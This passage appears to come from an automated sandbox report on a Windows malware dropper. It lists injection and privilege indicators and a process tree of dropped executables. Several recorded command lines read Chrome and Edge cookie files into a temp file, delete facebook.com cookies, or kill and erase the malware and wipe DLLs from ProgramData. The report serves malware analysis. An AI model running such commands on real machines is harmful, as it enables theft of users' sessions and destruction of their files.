1908 YJDkJ4cqmvtxo1UgV0PokpZV.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

zjGkrahcqUNf6XrknZvLMWQ_.exe

description pid process

Token: SeDebugPrivilege 2428 zjGkrahcqUNf6XrknZvLMWQ_.exe
Token: SeShutdownPrivilege 1212
Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

pid process

1212
1212
1212
1212
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

pid process

1212
1212
1212
1212

pid	process
1212

pid	process
1908	YJDkJ4cqmvtxo1UgV0PokpZV.exe

description	pid	process
Token: SeDebugPrivilege	2428	zjGkrahcqUNf6XrknZvLMWQ_.exe
Token: SeShutdownPrivilege	1212

pid	process
1212
1212
1212
1212

pid	process
1212
1212
1212
1212

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

375C1FFE19F2FBA6FF5F32B4000CDEA4.exeZRuLiAUQw11HkjcfTB32cgMC.exelKmNEk9Dzs5mwD2aH4HsVshQ.exeYJDkJ4cqmvtxo1UgV0PokpZV.exejooyu.exe

description	pid	process	target process
PID 1120 wrote to memory of 1040	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1120 wrote to memory of 1040	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1120 wrote to memory of 1040	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1120 wrote to memory of 1040	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1120 wrote to memory of 1804	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	BozELhefaGKGcjtZ6Uv8lbi_.exe
PID 1120 wrote to memory of 1804	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	BozELhefaGKGcjtZ6Uv8lbi_.exe
PID 1120 wrote to memory of 1804	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	BozELhefaGKGcjtZ6Uv8lbi_.exe
PID 1120 wrote to memory of 1804	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	BozELhefaGKGcjtZ6Uv8lbi_.exe
PID 1120 wrote to memory of 952	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	xsKBKuQksZQuAFgcK6sGmL7R.exe
PID 1120 wrote to memory of 952	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	xsKBKuQksZQuAFgcK6sGmL7R.exe
PID 1120 wrote to memory of 952	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	xsKBKuQksZQuAFgcK6sGmL7R.exe
PID 1120 wrote to memory of 952	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	xsKBKuQksZQuAFgcK6sGmL7R.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 964	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
PID 1120 wrote to memory of 1828	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1120 wrote to memory of 1828	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1120 wrote to memory of 1828	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1120 wrote to memory of 1828	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1468	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	AiQtRVyncFVssmiBY6oYjHq4.exe
PID 1120 wrote to memory of 1612	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	MuaJ3UZ32huZ0P40yh9aGqyh.exe
PID 1120 wrote to memory of 1612	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	MuaJ3UZ32huZ0P40yh9aGqyh.exe
PID 1120 wrote to memory of 1612	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	MuaJ3UZ32huZ0P40yh9aGqyh.exe
PID 1120 wrote to memory of 1612	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	MuaJ3UZ32huZ0P40yh9aGqyh.exe
PID 1120 wrote to memory of 360	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	Yk2YclFSGOFzC80jteFI6c0q.exe
PID 1120 wrote to memory of 360	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	Yk2YclFSGOFzC80jteFI6c0q.exe
PID 1120 wrote to memory of 360	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	Yk2YclFSGOFzC80jteFI6c0q.exe
PID 1120 wrote to memory of 360	1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe	Yk2YclFSGOFzC80jteFI6c0q.exe
PID 1828 wrote to memory of 1956	1828	ZRuLiAUQw11HkjcfTB32cgMC.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1828 wrote to memory of 1956	1828	ZRuLiAUQw11HkjcfTB32cgMC.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1828 wrote to memory of 1956	1828	ZRuLiAUQw11HkjcfTB32cgMC.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 1828 wrote to memory of 1956	1828	ZRuLiAUQw11HkjcfTB32cgMC.exe	ZRuLiAUQw11HkjcfTB32cgMC.exe
PID 964 wrote to memory of 948	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	customer3.exe
PID 964 wrote to memory of 948	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	customer3.exe
PID 964 wrote to memory of 948	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	customer3.exe
PID 964 wrote to memory of 948	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	customer3.exe
PID 964 wrote to memory of 280	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	md8_8eus.exe
PID 964 wrote to memory of 280	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	md8_8eus.exe
PID 964 wrote to memory of 280	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	md8_8eus.exe
PID 964 wrote to memory of 280	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	md8_8eus.exe
PID 964 wrote to memory of 1572	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	jooyu.exe
PID 964 wrote to memory of 1572	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	jooyu.exe
PID 964 wrote to memory of 1572	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	jooyu.exe
PID 964 wrote to memory of 1572	964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe	jooyu.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1040 wrote to memory of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe
PID 1572 wrote to memory of 2184	1572	jooyu.exe	jfiag3g_gg.exe
PID 1572 wrote to memory of 2184	1572	jooyu.exe	jfiag3g_gg.exe
PID 1572 wrote to memory of 2184	1572	jooyu.exe	jfiag3g_gg.exe

C:\Users\Admin\AppData\Local\Temp\375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
"C:\Users\Admin\AppData\Local\Temp\375C1FFE19F2FBA6FF5F32B4000CDEA4.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Users\Admin\Documents\YJDkJ4cqmvtxo1UgV0PokpZV.exe
  "C:\Users\Admin\Documents\YJDkJ4cqmvtxo1UgV0PokpZV.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Users\Admin\Documents\YJDkJ4cqmvtxo1UgV0PokpZV.exe
    "C:\Users\Admin\Documents\YJDkJ4cqmvtxo1UgV0PokpZV.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:1908
- C:\Users\Admin\Documents\UdNd_xXMWQ3whsIBlrnpQBt4.exe
  "C:\Users\Admin\Documents\UdNd_xXMWQ3whsIBlrnpQBt4.exe"
  2⤵
  - Executes dropped EXE
  PID:744
- C:\Users\Admin\Documents\BozELhefaGKGcjtZ6Uv8lbi_.exe
  "C:\Users\Admin\Documents\BozELhefaGKGcjtZ6Uv8lbi_.exe"
  2⤵
  - Executes dropped EXE
  PID:1804
- - C:\Users\Admin\Documents\BozELhefaGKGcjtZ6Uv8lbi_.exe
    "C:\Users\Admin\Documents\BozELhefaGKGcjtZ6Uv8lbi_.exe"
    3⤵
    PID:2984
- C:\Users\Admin\Documents\xsKBKuQksZQuAFgcK6sGmL7R.exe
  "C:\Users\Admin\Documents\xsKBKuQksZQuAFgcK6sGmL7R.exe"
  2⤵
  - Executes dropped EXE
  PID:952
- C:\Users\Admin\Documents\ZRuLiAUQw11HkjcfTB32cgMC.exe
  "C:\Users\Admin\Documents\ZRuLiAUQw11HkjcfTB32cgMC.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Users\Admin\Documents\ZRuLiAUQw11HkjcfTB32cgMC.exe
    "C:\Users\Admin\Documents\ZRuLiAUQw11HkjcfTB32cgMC.exe" -q
    3⤵
    - Executes dropped EXE
    PID:1956
- C:\Users\Admin\Documents\AiQtRVyncFVssmiBY6oYjHq4.exe
  "C:\Users\Admin\Documents\AiQtRVyncFVssmiBY6oYjHq4.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1468
- C:\Users\Admin\Documents\lKmNEk9Dzs5mwD2aH4HsVshQ.exe
  "C:\Users\Admin\Documents\lKmNEk9Dzs5mwD2aH4HsVshQ.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Program Files (x86)\Company\NewProduct\customer3.exe
    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
    3⤵
    - Executes dropped EXE
    PID:948
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:2616
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:2024
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:2176
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:3052
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:1492
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:2504
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:1080
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:2824
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    PID:280
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 280 -s 184
      4⤵
      Program crash
      PID:2212
- - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1572
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2184
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:4908
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:5676
- C:\Users\Admin\Documents\Yk2YclFSGOFzC80jteFI6c0q.exe
  "C:\Users\Admin\Documents\Yk2YclFSGOFzC80jteFI6c0q.exe"
  2⤵
  - Executes dropped EXE
  PID:360
- C:\Users\Admin\Documents\MuaJ3UZ32huZ0P40yh9aGqyh.exe
  "C:\Users\Admin\Documents\MuaJ3UZ32huZ0P40yh9aGqyh.exe"
  2⤵
  - Executes dropped EXE
  PID:1612
- - C:\Users\Admin\Documents\MuaJ3UZ32huZ0P40yh9aGqyh.exe
    "C:\Users\Admin\Documents\MuaJ3UZ32huZ0P40yh9aGqyh.exe"
    3⤵
    PID:3600
- C:\Users\Admin\Documents\Yjz6kO9tj5NPANirJJyd69hP.exe
  "C:\Users\Admin\Documents\Yjz6kO9tj5NPANirJJyd69hP.exe"
  2⤵
  - Executes dropped EXE
  PID:2348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "Yjz6kO9tj5NPANirJJyd69hP.exe" /f & erase "C:\Users\Admin\Documents\Yjz6kO9tj5NPANirJJyd69hP.exe" & exit
    3⤵
    PID:1904
- C:\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe
  "C:\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe"
  2⤵
  - Executes dropped EXE
  PID:2328
- - C:\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe
    C:\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe
    3⤵
    PID:3028
- C:\Users\Admin\Documents\GPZ__yjSi2RDdeAQsg97Gav9.exe
  "C:\Users\Admin\Documents\GPZ__yjSi2RDdeAQsg97Gav9.exe"
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Users\Admin\Documents\1c3OwdUwr_UDZNRYZQrOYejo.exe
  "C:\Users\Admin\Documents\1c3OwdUwr_UDZNRYZQrOYejo.exe"
  2⤵
  PID:2272
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im 1c3OwdUwr_UDZNRYZQrOYejo.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\1c3OwdUwr_UDZNRYZQrOYejo.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:2616
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im 1c3OwdUwr_UDZNRYZQrOYejo.exe /f
      4⤵
      Kills process with taskkill
      PID:2784
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:2508
- C:\Users\Admin\Documents\qRuvlmdWEy1dX00_kK9l3meH.exe
  "C:\Users\Admin\Documents\qRuvlmdWEy1dX00_kK9l3meH.exe"
  2⤵
  - Executes dropped EXE
  PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "qRuvlmdWEy1dX00_kK9l3meH.exe" /f & erase "C:\Users\Admin\Documents\qRuvlmdWEy1dX00_kK9l3meH.exe" & exit
    3⤵
    PID:2192
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "qRuvlmdWEy1dX00_kK9l3meH.exe" /f
      4⤵
      Kills process with taskkill
      PID:912
- C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe
  "C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe"
  2⤵
  - Executes dropped EXE
  PID:2524
- - C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe
    "C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe"
    3⤵
    PID:1976
- - C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe
    "C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe"
    3⤵
    PID:2740
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe"
      4⤵
      PID:2684
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        5⤵
        
        PID:1308
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1308.0.1470132471\366064808" -parentBuildID 20200403170909 -prefsHandle 1076 -prefMapHandle 1068 -prefsLen 1 -prefMapSize 218938 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1308 "\\.\pipe\gecko-crash-server-pipe.1308" 1160 gpu
        6⤵
        
        PID:2488
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1308.3.307069950\791011417" -childID 1 -isForBrowser -prefsHandle 660 -prefMapHandle 664 -prefsLen 156 -prefMapSize 218938 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1308 "\\.\pipe\gecko-crash-server-pipe.1308" 2016 tab
        6⤵
        
        PID:3848
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1308.13.1975885426\1660489534" -childID 2 -isForBrowser -prefsHandle 2424 -prefMapHandle 2420 -prefsLen 1401 -prefMapSize 218938 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1308 "\\.\pipe\gecko-crash-server-pipe.1308" 2476 tab
        6⤵
        
        PID:3492
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1308.20.1556176886\973189914" -childID 3 -isForBrowser -prefsHandle 2916 -prefMapHandle 2912 -prefsLen 7588 -prefMapSize 218938 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1308 "\\.\pipe\gecko-crash-server-pipe.1308" 2928 tab
        6⤵
        
        PID:3656
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:3508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xbc,0xc0,0xc4,0x90,0xc8,0x7fef34c4f50,0x7fef34c4f60,0x7fef34c4f70
        5⤵
        
        PID:3524
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1072,12779727399179139770,5619581496353095633,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1088 /prefetch:2
        5⤵
        
        PID:4512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1072,12779727399179139770,5619581496353095633,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1780 /prefetch:8
        5⤵
        
        PID:4500
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1072,12779727399179139770,5619581496353095633,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1764 /prefetch:8
        5⤵
        
        PID:3968
    - - C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
        5⤵
        
        PID:4552
      - C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x13c,0x140,0x144,0x110,0x148,0x13f79a890,0x13f79a8a0,0x13f79a8b0
        6⤵
        
        PID:3320
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C taskkill /F /PID 2740 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe"
      4⤵
      PID:3696
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /PID 2740
        5⤵
        Kills process with taskkill
        
        PID:3740
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C taskkill /F /PID 2740 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\hdkRfTumOuMpgwgpgVeJxC4X.exe"
      4⤵
      PID:3688
- C:\Users\Admin\Documents\M9RWsdPKdmf3Fvi4PoroSYwb.exe
  "C:\Users\Admin\Documents\M9RWsdPKdmf3Fvi4PoroSYwb.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2472
- C:\Users\Admin\Documents\ki5MiJzVNVCG3xbnF1RSHMGa.exe
  "C:\Users\Admin\Documents\ki5MiJzVNVCG3xbnF1RSHMGa.exe"
  2⤵
  - Executes dropped EXE
  PID:2456
- - C:\Users\Admin\Documents\ki5MiJzVNVCG3xbnF1RSHMGa.exe
    C:\Users\Admin\Documents\ki5MiJzVNVCG3xbnF1RSHMGa.exe
    3⤵
    PID:3036
- C:\Users\Admin\Documents\pXMhT8DuzpcVqCYwQAAw5YWk.exe
  "C:\Users\Admin\Documents\pXMhT8DuzpcVqCYwQAAw5YWk.exe"
  2⤵
  PID:2440
- C:\Users\Admin\Documents\zjGkrahcqUNf6XrknZvLMWQ_.exe
  "C:\Users\Admin\Documents\zjGkrahcqUNf6XrknZvLMWQ_.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2428
- C:\Users\Admin\Documents\f9g0rzwojto4VMysjEhWS_nM.exe
  "C:\Users\Admin\Documents\f9g0rzwojto4VMysjEhWS_nM.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2412
- C:\Users\Admin\Documents\UzjJ6ufRLhl30R0egEw0MScr.exe
  "C:\Users\Admin\Documents\UzjJ6ufRLhl30R0egEw0MScr.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2840
- - C:\Users\Admin\AppData\Local\Temp\is-2ROFF.tmp\UzjJ6ufRLhl30R0egEw0MScr.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-2ROFF.tmp\UzjJ6ufRLhl30R0egEw0MScr.tmp" /SL5="$20198,138429,56832,C:\Users\Admin\Documents\UzjJ6ufRLhl30R0egEw0MScr.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2920
  - - C:\Users\Admin\AppData\Local\Temp\is-I9ARK.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-I9ARK.tmp\Setup.exe" /Verysilent
      4⤵
      PID:2660
    - - C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
        5⤵
        
        PID:960
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:1548
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im runvd.exe /f
        7⤵
        Executes dropped EXE
        Kills process with taskkill
        
        PID:2272
        
